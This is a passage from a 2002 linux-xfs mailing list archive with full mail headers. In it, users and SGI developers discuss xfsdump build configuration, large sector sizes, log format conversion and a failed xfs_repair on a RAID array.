[127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7DJvERw026659 for ; Tue, 13 Aug 2002 12:57:14 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7DJvE00026658 for linux-xfs-outgoing; Tue, 13 Aug 2002 12:57:14 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mail.gmx.net (mail.gmx.de [213.165.64.20]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7DJv4Rw026629 for ; Tue, 13 Aug 2002 12:57:04 -0700 Received: (qmail 2856 invoked by uid 0); 13 Aug 2002 19:59:24 -0000 Received: from pd903c267.dip.t-dialin.net (HELO gmx.de) (217.3.194.103) by mail.gmx.net (mp019-rz3) with SMTP; 13 Aug 2002 19:59:24 -0000 Message-ID: <3D59643E.3040408@gmx.de> Date: Tue, 13 Aug 2002 21:55:42 +0200 From: Michael Wahlbrink User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.0) Gecko/20020530 X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com, Eric Sandeen Subject: Re: Probs while building xfsdump References: <3D590942.3000309@gmx.de> <1029250612.14205.3.camel@stout.americas.sgi.com> <1029251934.14229.8.camel@stout.americas.sgi.com> <3D592D6B.9050509@gmx.de> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hi once again..... Michael Wahlbrink wrote: Hi Eric, Thanks for the quick response! Eric Sandeen wrote: Ok, it looks like at least xfsprogs has a strange desire to put libs in /usr/libexec. If you just type "make" it explicitly sets that dir to /usr/lib instead, so try: no its not only xfsprogs which takes things in /usr/libexec when building with ./configure --prefix=usr. also attr acl and dmapi stow some things in /usr/libexec grrrrrr....... (or is this correct??) ./configure --prefix=/usr --libexecdir=/usr/lib Ok I'll do a rebuild today in the evening. hmm all stuff rebuilded with: autoconf; ./configure --prefix=/usr --libexecdir=/usr/lib but now also stopped at configuring xfsdump: .... checking xfs/handle.h usability... yes checking xfs/handle.h presence... yes checking for xfs/handle.h... yes checking for attr_list_by_handle in -lhandle... no FATAL ERROR: could not find a current XFS handle library. Upgrade the xfsprogs-devel (rpm) or the xfslibs-dev (deb) package. Alternatively, run "make install-dev" from the xfsprogs source. and no /usr/libexec directory was generated during the installation of the other stuff.... any hints now??? regards micha From owner-linux-xfs@oss.sgi.com Tue Aug 13 13:38:34 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7DKcYRw010646 for ; Tue, 13 Aug 2002 13:38:34 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7DKcYeL010645 for linux-xfs-outgoing; Tue, 13 Aug 2002 13:38:34 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7DKcRRw010617 for ; Tue, 13 Aug 2002 13:38:27 -0700 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id PAA24855; Tue, 13 Aug 2002 15:40:50 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id PAA99001; Tue, 13 Aug 2002 15:40:50 -0500 (CDT) Subject: Re: Probs while building xfsdump From: Eric Sandeen To: Michael Wahlbrink Cc: linux-xfs@oss.sgi.com In-Reply-To: <3D59643E.3040408@gmx.de> References: <3D590942.3000309@gmx.de> <1029250612.14205.3.camel@stout.americas.sgi.com> <1029251934.14229.8.camel@stout.americas.sgi.com> <3D592D6B.9050509@gmx.de> <3D59643E.3040408@gmx.de> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 13 Aug 2002 15:35:24 -0500 Message-Id: <1029270924.14229.35.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Ugh... Well, it seems that you want to put things in "normal" places, so... If you skip the autoconf; ./configure steps, the Makefile will do this for you, and feed values to configure that do all the "right" things. You can look at each Maiefile under the $(CONFIGURE): target to see what it's going to do. hopefully that will get you going until this is sorted out a bit. Thanks, -Eric On Tue, 2002-08-13 at 14:55, Michael Wahlbrink wrote: > hmm all stuff rebuilded with: > autoconf; ./configure --prefix=/usr --libexecdir=/usr/lib > > but now also stopped at configuring xfsdump: -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Tue Aug 13 17:08:03 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7E083Rw013822 for ; Tue, 13 Aug 2002 17:08:03 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7E082Jx013821 for linux-xfs-outgoing; Tue, 13 Aug 2002 17:08:02 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from sgi.com (sgi-too.SGI.COM [204.94.211.39]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7E07lRw013791 for ; Tue, 13 Aug 2002 17:07:47 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.55.149]) by sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id RAA05058 for ; Tue, 13 Aug 2002 17:10:50 -0700 (PDT) mail_from (nathans@snort.melbourne.sgi.com) Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.9.3/8.9.3) id KAA36171; Wed, 14 Aug 2002 10:08:43 +1000 (EST) Date: Wed, 14 Aug 2002 10:08:43 +1000 (EST) From: Nathan Scott Message-Id: <200208140008.KAA36171@snort.melbourne.sgi.com> To: linux-xfs@oss.sgi.com Cc: rabe@RWTH-Aachen.DE Subject: TAKE - xfsdump, getdents, older glibc build issue X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Date: Tue Aug 13 16:57:51 PDT 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:124964a cmd/xfsdump/VERSION - 1.38 cmd/xfsdump/doc/CHANGES - 1.46 cmd/xfsdump/debian/changelog - 1.29 cmd/xfsdump/common/getdents.c - 1.9 - bump version, document changes - fix getdents64-related build issue on earlier glibc versions. From owner-linux-xfs@oss.sgi.com Tue Aug 13 17:26:31 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7E0QVRw014144 for ; Tue, 13 Aug 2002 17:26:31 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7E0QV43014143 for linux-xfs-outgoing; Tue, 13 Aug 2002 17:26:31 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7E0QPRw014113 for ; Tue, 13 Aug 2002 17:26:25 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via SMTP id RAA04852 for ; Tue, 13 Aug 2002 17:28:53 -0700 (PDT) mail_from (nathans@larry.melbourne.sgi.com) Received: from frodo.melbourne.sgi.com (frodo.melbourne.sgi.com [134.14.55.153]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id KAA08077; Wed, 14 Aug 2002 10:27:30 +1000 Received: from frodo.melbourne.sgi.com (nathans@localhost [127.0.0.1]) by frodo.melbourne.sgi.com (8.12.5/8.12.5/Debian-1) with ESMTP id g7E0PEnF000744; Wed, 14 Aug 2002 10:25:14 +1000 Received: (from nathans@localhost) by frodo.melbourne.sgi.com (8.12.5/8.12.5/Debian-1) id g7E0P5Z2000741; Wed, 14 Aug 2002 10:25:05 +1000 Date: Wed, 14 Aug 2002 10:25:05 +1000 From: Nathan Scott To: Eric Sandeen , Michael Wahlbrink Cc: linux-xfs@oss.sgi.com Subject: Re: Probs while building xfsdump Message-ID: <20020814002505.GA536@frodo> References: <3D590942.3000309@gmx.de> <1029250612.14205.3.camel@stout.americas.sgi.com> <1029251934.14229.8.camel@stout.americas.sgi.com> <3D592D6B.9050509@gmx.de> <3D59643E.3040408@gmx.de> <1029270924.14229.35.camel@stout.americas.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1029270924.14229.35.camel@stout.americas.sgi.com> User-Agent: Mutt/1.4i X-Spam-Status: No, hits=-3.1 required=5.0 tests=IN_REP_TO,MAY_BE_FORGED version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Tue, Aug 13, 2002 at 03:35:24PM -0500, Eric Sandeen wrote: > Ugh... > > Well, it seems that you want to put things in "normal" places, so... > > If you skip the autoconf; ./configure steps, the Makefile will do this > for you, and feed values to configure that do all the "right" things. > You can look at each Maiefile under the $(CONFIGURE): target to see what > it's going to do. This is the best approach - if you want your own install locations, start with these defaults and work backwards. > hopefully that will get you going until this is sorted out a bit. Basically you need to tell the build system where to put things, otherwise you get the configure defaults. For packages like xfsprogs, there is a need to install to several places that do not have "standard" configure targets, so I had to get creative with using the targets configure does provide - in particular, we want to differentiate where runtime libs go from where devel libs go - there is no simple way to do that, and so the defaults we get are a bit wacky for that one (runtime libs use libdir, so devel libs ended up in libexecdir). cheers. -- Nathan From owner-linux-xfs@oss.sgi.com Tue Aug 13 18:06:23 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7E16MRw014658 for ; Tue, 13 Aug 2002 18:06:22 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7E16M91014657 for linux-xfs-outgoing; Tue, 13 Aug 2002 18:06:22 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from localhost.localdomain ([63.168.93.2]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7E16CRw014627 for ; Tue, 13 Aug 2002 18:06:16 -0700 Received: from GARFI01 ([200.75.36.181]) by localhost.localdomain (8.11.6/8.11.6) with SMTP id g7E199H20054 for ; Tue, 13 Aug 2002 20:09:10 -0500 Message-ID: <000801c2432f$b113e470$0100a8c0@GARFI01> From: "Francisco A. Acevedo P." To: Subject: lenguage Date: Tue, 13 Aug 2002 20:12:25 -0500 MIME-Version: 1.0 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-Spam-Status: No, hits=0.0 required=5.0 tests=MAILTO_LINK version=2.20 X-Spam-Level: Content-Disposition: inline Content-Type: text/plain Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7E16NRw014659 I install the SGI XFS and no have the spanish lenguage for the sistem, only for the installation. I need the spanish lenguage ¿what I do? francisco frassoace@hotmail.com frassoace@intercable.net.co [[HTML alternate version deleted]] From owner-linux-xfs@oss.sgi.com Wed Aug 14 02:17:53 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7E9HqRw019711 for ; Wed, 14 Aug 2002 02:17:53 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7E9Hqm7019710 for linux-xfs-outgoing; Wed, 14 Aug 2002 02:17:52 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from ngate.noida.hcltech.com ([202.54.110.230]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7E9HYRw019681 for ; Wed, 14 Aug 2002 02:17:40 -0700 Received: from exch-01.noida.hcltech.com (exch-01 [204.160.254.29]) by ngate.noida.hcltech.com (8.9.3/8.9.3) with ESMTP id OAA08371 for ; Wed, 14 Aug 2002 14:51:30 +0530 Received: by exch-01.noida.hcltech.com with Internet Mail Service (5.5.2653.19) id ; Wed, 14 Aug 2002 14:47:27 +0530 Message-ID: From: "Amit Agrawal, Noida" To: linux-xfs@oss.sgi.com Subject: Date: Wed, 14 Aug 2002 14:47:23 +0530 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" X-Spam-Status: No, hits=2.4 required=5.0 tests=SUBJ_MISSING version=2.20 X-Spam-Level: ** Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Could you please tell me whether XFS will work with logical device having sector size greater than 512 bytes or not? Best Regards amit Best Regards Amit Agrawal Member Technical Staff, HCL Technologies Ltd, A-11,Sector-16 Noida-201301 Phone: +91-120-4510701/702/813 Extns. - 3157 Email: amitag@noida.hcltech.com _________________________________________________ "Humor is a rubber sword - it allows you to make a point without drawing blood. " - Mary Hirsch Disclaimer: This document is intended for transmission to the named recipient only. If you are not that person, you should note that legal rights reside in this document and you are not authorized to access, read, disclose, copy, use or otherwise deal with it and any such actions are prohibited and may be unlawful. The views expressed in this document are not necessarily those of HCL Technologies Ltd. Notice is hereby given that no representation, contract or other binding obligation shall be created by this e-mail, which must be interpreted accordingly. Any representations, contractual rights or obligations shall be separately communicated in writing and signed in the original by a duly authorized officer of the relevant company. From owner-linux-xfs@oss.sgi.com Wed Aug 14 02:35:00 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7E9Z0Rw020023 for ; Wed, 14 Aug 2002 02:35:00 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7E9Z0nC020022 for linux-xfs-outgoing; Wed, 14 Aug 2002 02:35:00 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from smtpzilla3.xs4all.nl (smtpzilla3.xs4all.nl [194.109.127.139]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7E9YsRw019992 for ; Wed, 14 Aug 2002 02:34:55 -0700 Received: from auto-nb1.xs4all.nl (213-84-100-130.adsl.xs4all.nl [213.84.100.130]) by smtpzilla3.xs4all.nl (8.12.0/8.12.0) with ESMTP id g7E9aiFT057263; Wed, 14 Aug 2002 11:36:47 +0200 (CEST) Message-Id: <4.3.2.7.2.20020814113212.02c57b30@pop.xs4all.nl> X-Sender: knuffie@pop.xs4all.nl X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 14 Aug 2002 11:34:49 +0200 To: "Amit Agrawal, Noida" , linux-xfs@oss.sgi.com From: Seth Mos Subject: Re: In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk At 14:47 14-8-2002 +0530, Amit Agrawal, Noida wrote: >Could you please tell me whether XFS will work with logical device having >sector size greater than 512 bytes or not? Tough question, I am not sure but something might break. So you mean you have a device that has sectors of say 520 bytes instead of 512 like some of the SAN appliances do? Cheers -- Seth It might just be your lucky day, if you only knew. From owner-linux-xfs@oss.sgi.com Wed Aug 14 02:40:57 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7E9evRw020215 for ; Wed, 14 Aug 2002 02:40:57 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7E9evF2020214 for linux-xfs-outgoing; Wed, 14 Aug 2002 02:40:57 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from ngate.noida.hcltech.com ([202.54.110.230]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7E9enRw020186 for ; Wed, 14 Aug 2002 02:40:50 -0700 Received: from exch-01.noida.hcltech.com (exch-01 [204.160.254.29]) by ngate.noida.hcltech.com (8.9.3/8.9.3) with ESMTP id PAA09267; Wed, 14 Aug 2002 15:14:40 +0530 Received: by exch-01.noida.hcltech.com with Internet Mail Service (5.5.2653.19) id ; Wed, 14 Aug 2002 15:10:37 +0530 Message-ID: From: "Amit Agrawal, Noida" To: Seth Mos , linux-xfs@oss.sgi.com Subject: RE: Date: Wed, 14 Aug 2002 15:10:36 +0530 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" X-Spam-Status: No, hits=1.9 required=5.0 tests=SUBJ_ALL_CAPS version=2.20 X-Spam-Level: * Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk No I mean sector sizes which are multiple of 512 i.e 1024 or 4096, of a logical device configured through volume management software. -----Original Message----- From: Seth Mos [mailto:knuffie@xs4all.nl] Sent: Wednesday, August 14, 2002 3:05 PM To: Amit Agrawal, Noida; linux-xfs@oss.sgi.com Subject: Re: At 14:47 14-8-2002 +0530, Amit Agrawal, Noida wrote: >Could you please tell me whether XFS will work with logical device having >sector size greater than 512 bytes or not? Tough question, I am not sure but something might break. So you mean you have a device that has sectors of say 520 bytes instead of 512 like some of the SAN appliances do? Cheers -- Seth It might just be your lucky day, if you only knew. From owner-linux-xfs@oss.sgi.com Wed Aug 14 02:56:31 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7E9uVRw020434 for ; Wed, 14 Aug 2002 02:56:31 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7E9uVLd020433 for linux-xfs-outgoing; Wed, 14 Aug 2002 02:56:31 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from moving-picture.com (mpc-26.sohonet.co.uk [193.203.82.251]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7E9uMRw020405 for ; Wed, 14 Aug 2002 02:56:22 -0700 Received: from offline.mpc.local ([172.16.20.7] helo=moving-picture.com) by moving-picture.com with esmtp (Exim 3.22 #1) id 17euui-0000F5-00; Wed, 14 Aug 2002 10:58:04 +0100 Message-ID: <3D5A29AC.9AA18501@moving-picture.com> Date: Wed, 14 Aug 2002 10:58:04 +0100 From: James Pearson Organization: Moving Picture Company X-Mailer: Mozilla 4.7 [en] (X11; I; IRIX 6.5 IP22) X-Accept-Language: en MIME-Version: 1.0 To: "Amit Agrawal, Noida" CC: Seth Mos , linux-xfs@oss.sgi.com Subject: Re: References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Disclaimer: This email and any attachments are confidential, may be legally X-Disclaimer: privileged and intended solely for the use of addressee. If you X-Disclaimer: are not the intended recipient of this message, any disclosure, X-Disclaimer: copying, distribution or any action taken in reliance on it is X-Disclaimer: strictly prohibited and may be unlawful. If you have received X-Disclaimer: this message in error, please notify the sender and delete all X-Disclaimer: copies from your system. X-Disclaimer: X-Disclaimer: Email may be susceptible to data corruption, interception and X-Disclaimer: unauthorised amendment, and we do not accept liability for any X-Disclaimer: such corruption, interception or amendment or the consequences X-Disclaimer: thereof. X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk We've recently been trying out Medea (formerly Storage Concepts) Fibreblocks which allow you to set the block size to 512 or 2048 bytes. We made an XFS file system using the 2048 byte block size on the raid - but we got lots of SCSI disk errors when reading/writing to the file system - eventually the file system shuts down and we get a kernel oops on umount. ext2/3 file systems worked fine with the 2048 byte block size. James Pearson "Amit Agrawal, Noida" wrote: > > No I mean sector sizes which are multiple of 512 i.e 1024 or 4096, of a > logical device configured through volume management software. > > -----Original Message----- > From: Seth Mos [mailto:knuffie@xs4all.nl] > Sent: Wednesday, August 14, 2002 3:05 PM > To: Amit Agrawal, Noida; linux-xfs@oss.sgi.com > Subject: Re: > > At 14:47 14-8-2002 +0530, Amit Agrawal, Noida wrote: > >Could you please tell me whether XFS will work with logical device having > >sector size greater than 512 bytes or not? > > Tough question, I am not sure but something might break. > > So you mean you have a device that has sectors of say 520 bytes instead of > 512 like some of the SAN appliances do? > > Cheers > > -- > Seth > It might just be your lucky day, if you only knew. From owner-linux-xfs@oss.sgi.com Wed Aug 14 02:58:55 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7E9wtRw020599 for ; Wed, 14 Aug 2002 02:58:55 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7E9wts0020598 for linux-xfs-outgoing; Wed, 14 Aug 2002 02:58:55 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from smtpzilla5.xs4all.nl (smtpzilla5.xs4all.nl [194.109.127.141]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7E9woRw020570 for ; Wed, 14 Aug 2002 02:58:50 -0700 Received: from auto-nb1.xs4all.nl (213-84-100-130.adsl.xs4all.nl [213.84.100.130]) by smtpzilla5.xs4all.nl (8.12.0/8.12.0) with ESMTP id g7EA0eiH037384; Wed, 14 Aug 2002 12:00:43 +0200 (CEST) Message-Id: <4.3.2.7.2.20020814115709.036c0cc8@pop.xs4all.nl> X-Sender: knuffie@pop.xs4all.nl X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 14 Aug 2002 11:58:31 +0200 To: "Amit Agrawal, Noida" , linux-xfs@oss.sgi.com From: Seth Mos Subject: RE: In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Spam-Status: No, hits=-2.5 required=5.0 tests=IN_REP_TO,SUBJ_ALL_CAPS version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk At 15:10 14-8-2002 +0530, Amit Agrawal, Noida wrote: >No I mean sector sizes which are multiple of 512 i.e 1024 or 4096, of a >logical device configured through volume management software. Smaller then pagesize is no problem eg < 4096 on ia32. You need a recent CVS kernel for this to work. The 1.1 release does NOT have support for this yet. Cheers -- Seth It might just be your lucky day, if you only knew. From owner-linux-xfs@oss.sgi.com Wed Aug 14 03:05:29 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7EA5TRw020821 for ; Wed, 14 Aug 2002 03:05:29 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7EA5Tiw020820 for linux-xfs-outgoing; Wed, 14 Aug 2002 03:05:29 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from ilanz.monex.li (ilanz.monex.li [164.128.93.104]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7EA5ORw020792 for ; Wed, 14 Aug 2002 03:05:25 -0700 Received: from spalegna.monex.li (spalegna [164.128.93.99]) by ilanz.monex.li (8.11.6/8.11.6) with ESMTP id g7EA7o919828 for ; Wed, 14 Aug 2002 12:07:50 +0200 Received: from relay.monex.li (8.9.3/8.9.3) id NAA26021 for ; Wed, 14 Aug 2002 13:42:47 +0200 Received: from mailpumpe.monex.li by relay.monex.li via smtp; Received: from vorab.monex.li by mailpumpe.monex.li (8.11.6/8.11.6) with ESMTP id g7EA7Vi15983 for ; Wed, 14 Aug 2002 12:07:31 +0200 Subject: Convert Log Format from old to v2 format From: Oliver Jehle To: linux-xfs@oss.sgi.com Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 14 Aug 2002 12:07:06 +0200 Message-Id: <1029319626.1094.22.camel@vorab> Mime-Version: 1.0 X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk is there a way to convert the logging format from old xfs-filestem to the new version 2 logging in xfs without backup/recreate/restore the filesystem ??? for example unmounting, run utility, mount it... Thanks oliver From owner-linux-xfs@oss.sgi.com Wed Aug 14 03:39:34 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7EAdYRw021179 for ; Wed, 14 Aug 2002 03:39:34 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7EAdYfG021178 for linux-xfs-outgoing; Wed, 14 Aug 2002 03:39:34 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from sgi.com (sgi-too.SGI.COM [204.94.211.39]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7EAdMRw021150 for ; Wed, 14 Aug 2002 03:39:22 -0700 Received: from kendy.up.ac.za (kendy.up.AC.za [137.215.101.101]) by sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id DAA08929 for ; Wed, 14 Aug 2002 03:42:26 -0700 (PDT) mail_from (paul@up.ac.za) Received: from [137.215.95.15] (helo=mx1.up.ac.za) by kendy.up.ac.za with esmtp (Exim 3.35 #1) id 17evQs-0005zV-00 for linux-xfs@oss.sgi.com; Wed, 14 Aug 2002 12:31:18 +0200 Received: from tzone.up.ac.za ([137.215.145.210] helo=up.ac.za) by mx1.up.ac.za with esmtp (Exim 3.12 #1) id 17evQr-0002ct-00 for linux-xfs@oss.sgi.com; Wed, 14 Aug 2002 12:31:17 +0200 Message-ID: <3D5A3174.1A91A496@up.ac.za> Date: Wed, 14 Aug 2002 12:31:16 +0200 From: Paul Schutte X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.19-rc3-xfs-tzone i686) X-Accept-Language: en MIME-Version: 1.0 To: XFS mailing list Subject: Problem repairing filesystem Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Scanner: exiscan *17evQr-0002ct-00*tIgDJxlTU2g* (University of Pretoria, South Africa) X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Background: ---------------- I ran a ftp server on a pentium II 333Mhz with 256M RAM, using the 2.4.9-31-xfs kernel. Used 4 x 120 Gb IDE drives in a RAID 5 array on an Adaptec 2400 hardware raid controller. There is a 4Gb root partition and a +/- 320Gb data partition. One of the drives failed and the machine crashed. We replaced the drive and rebuild the array. I booted up with a CD that I created a while a go with 2.4.19-pre9-20020604 and mounted a nfs root partition with all the xfs tools on it. We ran xfs_repair (version 2.2.1) on the root partition of the raid array. A lot of the files have the dreaded zero problem, but apart from that it is mountable and usable. The problem: ------------------ We ran xfs_repair on the 320Gb partition. After about 15min xfs_repair died with 'Terminated' being print on the console. dmesg reveals: Out of Memory: Killed process 269 (xfs_repair). I recreated the swap partition and activated it. Ran xfs_repair again. --snip-- Phase 6 - check inode connectivity... - resetting contents of realtime bitmap and summary inodes - ensuring existence of lost+found directory - traversing filesystem starting at / ... - traversal finished ... - traversing all unattached subtrees ... fatal error -- can't read block 0 for directory inode 2097749 When you mount the filesystem, it is empty (except for lost+found which is also empty) The output of xfs_repair is large about 300k bzip2'ed. It would be best if interested parties download it. http://www2.up.ac.za/paul/xfs_repair.out.bz2 http://www2.up.ac.za/paul/dmesg.out.bz2 Questions: -------------- Have I lost the 320G partition or does someone still have a trick up their sleeve ? Would it be possible to make xfs_repair use a lot less memory ? My guess is that the filesystem got it's final blow by xfs_repair exiting prematurely. Any suggestions are welcome. Paul Schutte From owner-linux-xfs@oss.sgi.com Wed Aug 14 05:08:00 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7EC80Rw022737 for ; Wed, 14 Aug 2002 05:08:00 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7EC80mY022736 for linux-xfs-outgoing; Wed, 14 Aug 2002 05:08:00 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from smtpzilla1.xs4all.nl (smtpzilla1.xs4all.nl [194.109.127.137]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7EC7sRw022617 for ; Wed, 14 Aug 2002 05:07:55 -0700 Received: from auto-nb1.xs4all.nl (213-84-100-130.adsl.xs4all.nl [213.84.100.130]) by smtpzilla1.xs4all.nl (8.12.0/8.12.0) with ESMTP id 